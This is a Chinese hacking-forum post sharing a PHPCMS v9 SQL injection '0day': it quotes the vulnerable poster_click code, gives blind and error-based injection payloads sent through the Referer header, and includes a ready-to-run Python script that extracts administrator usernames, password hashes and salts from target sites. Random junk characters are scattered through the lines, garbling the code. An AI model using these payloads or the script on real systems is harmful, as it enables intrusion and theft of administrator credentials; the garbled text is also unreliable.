找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2287|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:$ r8 M7 x; S5 h8 ?; h2 e" g; u' B# j% }
4 `5 o. ?* ?0 G" Q
问题函数\phpcms\modules\poster\index.php
- b: b$ `% X/ Q$ q: m
4 n* z7 p  P) [4 }: b$ [8 apublic function poster_click() {) r! i4 Z1 U" S0 F* D8 m
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;4 W- M" O5 D& ^: w' ~* J
$r = $this->db->get_one(array('id'=>$id));7 ^2 q  W7 Z# j5 A# t
if (!is_array($r) && empty($r)) return false;  V- O9 T( [+ h
$ip_area = pc_base::load_sys_class('ip_area');
& s4 {8 L' f1 c, i" [! K( x# Z6 ?$ip = ip();; b3 |% G9 B& N0 m: Q5 }$ @
$area = $ip_area->get($ip);* `2 {2 P4 N0 c: g9 H
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# N. }; Z! u( q6 s6 z6 _: Oif($id) {( i; t$ n7 b  z1 ^
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();- {3 ^/ X9 y8 K- g7 v4 \% t$ y
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
) ?1 P$ w' ^2 Z  V& X  y}5 |! l! K/ ]  H( K( f: g& V
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$ E/ E( R& I5 I$ `0 f+ T- h$setting = string2array($r['setting']);( H* k; c, ~2 |: q
if (count($setting)==1) {
, Q# q) d8 w7 W3 l8 F$url = $setting['1']['linkurl'];) B8 D5 y) V1 M9 ?9 \
} else {" b: ?) Y7 Y* @: Q) l& d8 E2 l5 Z
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];  Z$ I9 ]& \( R5 l4 ]
}- K' n7 ?6 U, f& ]4 O* s) K
header('Location: '.$url);: i" V/ S$ v% g
}" G, K, p4 z$ N7 J) X' |$ m% \
! Z8 w. k: @2 b
: D9 b4 {( J: ~; R- n+ P/ s% q3 N
  c. Q/ ~" ^. C' W& f& b0 x
利用方式:
2 @: W* ^! _' R  q  Y; T5 T" i
8 _* j' E: Y& G) d9 ]: U0 R1、可以采用盲注入的手法:5 y1 N; z" R0 [5 r% T. p+ w

" a! Q+ [+ D( G) creferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
; s, d% _1 Q! C+ n/ B* D0 N
9 q! a/ y. I& ~通过返回页面,正常与否一个个猜解密码字段。
6 I! t$ u' w) j; g  k
/ u2 ~0 n% t; @* Z+ S) D/ v2、代码是花开写的,随手附上了:2 `8 Q: T& G2 a$ h' f# k

; ?$ G8 b" t7 E. L1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#0 ?4 H* P' g1 s) ^  {1 t0 h
: g1 v* Z) y* f; v" `  w- x, m2 N
此方法是爆错注入手法,原理自查。
3 E: m, F4 P8 o' Z2 c" n0 \) Q
' ?/ r. {$ j# T% @
) b2 l  `( M; a$ [, v6 \! o. q, x5 g% m8 n0 R3 e
利用程序:# f9 }0 W; }% q& M9 e' F6 E
' r8 b- G) p6 T
#!/usr/bin/env python
: H  m% \7 L' `# Y  iimport httplib,sys,re
. m# q- ^1 x, e0 |/ o$ b& @; T5 m* l* ?. M- Q) x
def attack():
; F2 ]5 }6 H" @0 ?  ^( c& m, ~: Oprint “Code by Pax.Mac Team conqu3r!”& g% F7 t$ Y$ ]( n0 X
print “Welcome to our zone!!!”
* A, p9 w( P3 m5 _8 Iurl=sys.argv[1]- O! }4 f/ j; ?( a
paths=sys.argv[2]" @9 p) H8 {, ~1 E7 h6 s
conn = httplib.HTTPConnection(url)
; g; P; ]3 H- B5 z* h* N* q& mi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
0 X& N9 l7 v4 X/ h3 K“Accept”: “text/plain”,
/ q6 t* c+ f( R( t. h! F( y“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
) ^; U7 D6 G; G6 d5 j5 }conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)$ v& o) L! X/ `: }6 S
r1 = conn.getresponse()
& y8 Q9 \2 q0 Q! }3 x& ldatas=r1.read()
" v6 ?) r  N) O! w2 Ndatas=re.findall(r”Duplicate entry \’\w+’”, datas)
6 I; Q8 v! Y+ Q4 Z/ S2 eprint datas[0]9 _# N. u; V) m) Q7 l: c
conn.close()
2 U2 v  @& _! m8 \0 [" H$ }5 Bif __name__==”__main__”:4 N% ^' E% M+ \2 S. E6 Z3 {
if len(sys.argv)<3:/ _7 i7 E. Q6 R0 y; Y
print “Code by Pax.Mac Team conqu3r”
6 m" L5 v6 S5 @% U. Oprint “Usgae:”$ j8 r6 ]3 R- t. E, N/ d
print “    phpcmsattack.py   www.paxmac.org /”
7 ?1 T3 `! \: I0 B' w+ i/ tprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”8 V/ V$ G1 L: r! q+ }
sys.exit(1); K/ G( c9 M4 n' C8 S; Y3 ?
attack()+ E3 L- M5 \1 Q9 _: _
4 `& H6 F: {: b" A1 h" ~( N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表